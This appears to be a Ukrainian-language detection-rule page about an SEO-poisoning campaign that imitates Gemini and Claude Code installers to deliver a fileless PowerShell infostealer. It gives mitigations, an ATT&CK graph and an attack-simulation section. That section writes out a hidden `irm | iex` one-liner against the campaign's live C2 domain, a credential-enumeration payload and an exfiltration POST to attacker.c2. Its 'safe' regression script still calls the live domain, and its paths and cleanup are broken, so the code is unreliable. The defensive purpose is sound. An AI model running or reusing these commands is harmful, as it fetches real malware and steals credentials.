Кампанія з отруєння SEO використовує приманки Gemini та Claude Code для доставки інфостілера
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Актори eCrime, що керуються фінансовою мотивацією, використовують SEO-поінг для просування фейкових доменів, які імітують інсталятори для AI помічників з кодом. Жертви, які копіюють і вставляють одну команду PowerShell з цих сторінок, активують безфайловий інфостілер, що виконується повністю в пам’яті. Шкідливе програмне забезпечення викрадає облікові дані, cookie-сесії, ключі VPN та конфіденційні файли перед передачею даних у зашифрованій формі на сервер командування та контролю. Кампанія спрямована на робочі станції розробників Windows і зливається з нормальною активністю, зловживаючи знайомі інструменти розробників.
Розслідування
Аналітики EclecticIQ відстежили шкідливу інфраструктуру до доменів .co.com , що забезпечують строки завантаження PowerShell через irm and iex. Скрипт першого ступеня запускає приховане вікно PowerShell із використанням Shell.Application.ShellExecute, потім завантажує додаткові типи C#, щоб зібрати облікові дані, системні дані та інші цінні дані. Експільтрація спостерігалася через HTTP і HTTPS на events.msft23.com and events.ms709.com з використанням конкретних URL-шляхів. Пасивний аналіз DNS зв’язав операцію з надійним хостинг-провайдером у Нідерландах і з ширшим кластером доменів з друкарськими помилками.
Пом’якшення
Захисникам слід виявляти і блокувати шаблон виконання irm | iex приховані вікна PowerShell і підозріле використання Add-Type , які включають виклики P/Invoke. Організації повинні застосовувати режим обмеженої мови PowerShell і використовувати AppLocker або WDAC для запобігання виконанню скриптів з інтернет-контенту. Обмеження доступу до запису в буфер обміну браузера та вимога швидкого завершення OAuth для облікових записів розробників може ще більше знизити вплив. Розробників також слід навчати уникати команд копіювання-вставки з недовірених веб-сайтів.
Відповідь
Команди безпеки повинні попереджати про процеси PowerShell, що запускаються з -WindowStyle Hidden або викликаються через Shell.Application.ShellExecute. Ці події слід корелювати з вихідними запитами HTTP до доменів, що відповідають *-setup.com or events.*.com, особливо коли з’являються шляхи /take, /process, або /validate . Якщо ця поведінка виявлена, ізолюйте уражену кінцеву точку, зберіть журнали PowerShell і проведіть судово-експертний збір даних браузера та сховищ облікових даних.
graph TB %% Визначення класів classDef action fill:#99ccff classDef tool fill:#ffdd99 classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef operator fill:#ff9900 %% Вузли – Дії initial_access[“<b>Дія</b> – <b>T1189 Компрометація через Drive-by</b>: SEO-отруєні результати пошуку доставляють фальшиву сторінку встановлення Gemini CLI / Claude Code.<br/><b>Підтехніки</b> T1204.001 Виконання користувачем (шкідливе посилання) та T1204.004 Виконання користувачем (PowerShell one-liner через copy-paste).”] class initial_access action execution[“<b>Дія</b> – <b>T1059.001 PowerShell</b>: in-memory скрипт через Shell.Application.ShellExecute, рефлективне завантаження/виконання (irm|iex).<br/><b>Обфускація</b> T1027 та T1027.016 сміттєвий код.”] class execution action defense_evasion[“<b>Дія</b> – <b>T1562.001 Вимкнення засобів безпеки</b>: патч amsi.dll, вимкнення ETW, перевірка sandbox (qemu-ga).”] class defense_evasion action credential_access[“<b>Дія</b> – <b>T1555.003 Облікові дані з веббраузерів</b>: витяг облікових даних і cookie браузера.<br/><b>Додаткові техніки</b> T1555.004 Windows Credential Manager, T1552.001 файли з паролями, T1552.002 реєстр, T1539 викрадення сесійних cookie, T1550.004 session cookie.”] class credential_access action discovery[“<b>Дія</b> – <b>T1057 Виявлення процесів</b>: перерахування процесів через Restart Manager.<br/><b>Додаткові техніки</b> T1083 виявлення файлів і директорій, T1217 браузерна інформація, T1497.002 обхід sandbox/віртуалізації.”] class discovery action collection[“<b>Дія</b> – <b>T1005 Дані з локальної системи</b>: збір файлів користувача (*.txt, *.docx) та хмарно синхронізованих директорій (T1039).”] class collection action command_and_control[“<b>Дія</b> – <b>T1071.001 Вебпротоколи</b>: HTTPS beacon до events.msft23.com / events.ms709.com (/take, /process, /validate).<br/><b>Шифрування</b> RSA-шифрований список завдань (T1573) та завантаження payload (T1105 Ingress Tool Transfer).”] class command_and_control action exfiltration[“<b>Дія</b> – <b>T1041 Ексфільтрація через C2 канал</b>: зашифрована передача зібраних даних.<br/><b>Підтехніка</b> T1020 автоматизована ексфільтрація.”] class exfiltration action %% Вузли – Інструменти / Шкідливе ПЗ tool_powershell[“<b>Інструмент</b> – <b>Назва</b>: PowerShell<br/><b>Опис</b>: Windows scripting engine для in-memory виконання.”] class tool_powershell tool tool_shellexecute[“<b>Інструмент</b> – <b>Назва</b>: Shell.Application.ShellExecute<br/><b>Опис</b>: запускає приховані вікна для виконання скриптів.”] class tool_shellexecute tool tool_amsi_patch[“<b>Інструмент</b> – <b>Назва</b>: AMSI патч<br/><b>Опис</b>: модифікація amsi.dll для обходу аналізу скриптів.”] class tool_amsi_patch tool tool_etw_disable[“<b>Інструмент</b> – <b>Назва</b>: Вимкнення ETW<br/><b>Опис</b>: вимикає Event Tracing for Windows для уникнення детекції.”] class tool_etw_disable tool tool_credmanager[“<b>Інструмент</b> – <b>Назва</b>: API CredEnumerate<br/><b>Опис</b>: отримання облікових даних із Windows Credential Manager.”] class tool_credmanager tool tool_ssh_reg[“<b>Інструмент</b> – <b>Назва</b>: Збір із реєстру<br/><b>Опис</b>: читання паролів WinSCP і PuTTY з реєстру.”] class tool_ssh_reg tool tool_vpn[“<b>Інструмент</b> – <b>Назва</b>: VPN конфіг-колектор<br/><b>Опис</b>: збір VPN конфігурацій для повторного використання.”] class tool_vpn tool tool_wallet[“<b>Інструмент</b> – <b>Назва</b>: Крадіжка криптогаманців<br/><b>Опис</b>: витяг файлів гаманців і приватних ключів.”] class tool_wallet tool %% Зв’язки – Потік атаки initial_access –>|призводить до| execution execution –>|використовує| tool_powershell execution –>|використовує| tool_shellexecute execution –>|містить| tool_amsi_patch execution –>|містить| tool_etw_disable execution –>|призводить до| defense_evasion defense_evasion –>|використовує| tool_amsi_patch defense_evasion –>|використовує| tool_etw_disable defense_evasion –>|призводить до| credential_access credential_access –>|використовує| tool_credmanager credential_access –>|використовує| tool_ssh_reg credential_access –>|використовує| tool_vpn credential_access –>|використовує| tool_wallet credential_access –>|призводить до| discovery discovery –>|призводить до| collection collection –>|призводить до| command_and_control command_and_control –>|використовує| tool_powershell command_and_control –>|призводить до| exfiltration
Потік атаки
Детекції
Завантаження або Вивантаження через Powershell (через командний рядок)
Перегляд
Підозрілі строки Powershell (через powershell)
Перегляд
Виклик підозрілих методів .NET з Powershell (через powershell)
Перегляд
IOC (HashSha256) для виявлення: SEO-кампанія використовується для імітації Gemini та Claude Code з метою доставки інфостілера Частина 2
Перегляд
IOC (HashSha256) для виявлення: SEO-кампанія використовується для імітації Gemini та Claude Code з метою доставки інфостілера Частина 1
Перегляд
IOC (SourceIP) для виявлення: SEO-кампанія використовується для імітації Gemini та Claude Code з метою доставки інфостілера
Перегляд
IOC (DestinationIP) для виявлення: SEO-кампанія використовується для імітації Gemini та Claude Code з метою доставки інфостілера
Перегляд
Виявлення шаблону маяка C2 із конкретними URI-шляхами [Підключення мережі Windows]
Перегляд
Безфайлове виконання Infostealer у Powershell [Windows Powershell]
Перегляд
Виконання симуляції
Передумова: Перевірка передпольоту телеметрії та базової лінії повинна бути успішною.
Обґрунтування: Цей розділ деталізує точне виконання техніки (TTP) супротивника, призначеної для активації правила виявлення. Команди і наратив ПОВИННІ безпосередньо відображати виявлені TTP і мають на меті генерувати точну телеметрію, очікувану логікою виявлення. Абстрактні або не пов’язані приклади призведуть до неправильної діагностики.
-
Опис атаки та команди:
Зловмисник компрометує обліковий запис з низьким рівнем привілеїв і запускає однолінійний скрипт PowerShell черезcmd.exe. Однолінійне використанняirm(Invoke‑RestMethod) для отримання зловмисного скрипту PowerShell зevents.msft23.com, передає його вiex(Invoke‑Expression) для виконання корисного навантаження повністю в пам’яті і приховує вікно PowerShell, щоб уникнути перегляду за плечем. Корисне навантаження потім завантажує тип .NET зAdd‑Typeдля виконання перерахування облікових записів за допомогоюCredEnumerateAPI, ексфільтрує зібрані дані через HTTPS. Усі етапи виконуються без запису файлів на диск, відповідаючи опису “безфайловий”.# Крок 1 – Запуск прихованого PowerShell powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"Завантажений
payload.ps1(виконується в пам’яті) містить:# Крок 2 – Завантаження типу .NET для перерахування облікових записів $type = @" using System; using System.Runtime.InteropServices; public class Cred { [DllImport(""advapi32.dll"", SetLastError=true)] public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials); } "@ Add-Type $type # Крок 3 – Запуск викачування облікових даних та ексфільтрація $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr) $data = "Зібрано $count облікових даних" Invoke-RestMethod -Method Post -Uri https://attacker.c2/exfil -Body $dataЦя послідовність генерує фрагменти командного рядка, яким відповідає правило Sigma:
powershell.exe -WindowStyle Hiddenirm events.msft23.com | iexAdd-Typeadvapi32.dll!CredEnumerate
-
Скрипт для регресійного тестування: Наступний скрипт відтворює точну поведінку на тестовій робочій станції. Запустіть його з підвищеного запиту PowerShell.
# Безфайлове моделювання PowerShell Infostealer – TC-20260525-A7Z3K # ------------------------------------------------------------ # Крок 1 – Виконання прихованого PowerShell, що завантажує і запускає корисне навантаження $command = 'powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"' Start-Process -FilePath "cmd.exe" -ArgumentList "/c $command" -WindowStyle Hidden # Імітований вміст payload.ps1 (розміщено локально для безпечного тестування) $payload = @' $type = @" using System; using System.Runtime.InteropServices; public class Cred { [DllImport("advapi32.dll", SetLastError=true)] public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials); } "@ Add-Type $type $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr) $data = "Зібрано $count облікових даних" # Імітація ексфільтрації до безпечної кінцевої точки Invoke-RestMethod -Method Post -Uri "https://httpbin.org/post" -Body $data '@ # Запис імітованого корисного навантаження до тимчасового розташування для тесту (імітація хостингу віддалено) $tempPath = "$env:TEMPpayload.ps1" Set-Content -Path $tempPath -Value $payload -Encoding UTF8 # Обслуговування корисного навантаження через простий локальний HTTP-лістенер (для демонстрації) $listener = [System.Net.HttpListener]::new() $listener.Prefixes.Add("http://+:8080/") $listener.Start() Write-Host "Обслуговування імітованого корисного навантаження на http://localhost:8080/payload.ps1" while ($listener.IsListening) { $context = $listener.GetContext() if ($context.Request.Url.AbsolutePath -eq "/payload.ps1") { $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload) $context.Response.ContentLength64 = $bytes.Length $context.Response.OutputStream.Write($bytes,0,$bytes.Length) $context.Response.Close() } } # Примітка: Зупиніть слухача вручну після валідації. -
Команди очищення: Видаліть тимчасові файли і зупиніть HTTP-лістенер.
# Очищення після симуляції Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue # Зупиніть локальний HTTP-лістенсер (якщо ще працює) Get-Process -Name "powershell" | Where-Object {$_.MainWindowTitle -match "payload"} | Stop-Process -Force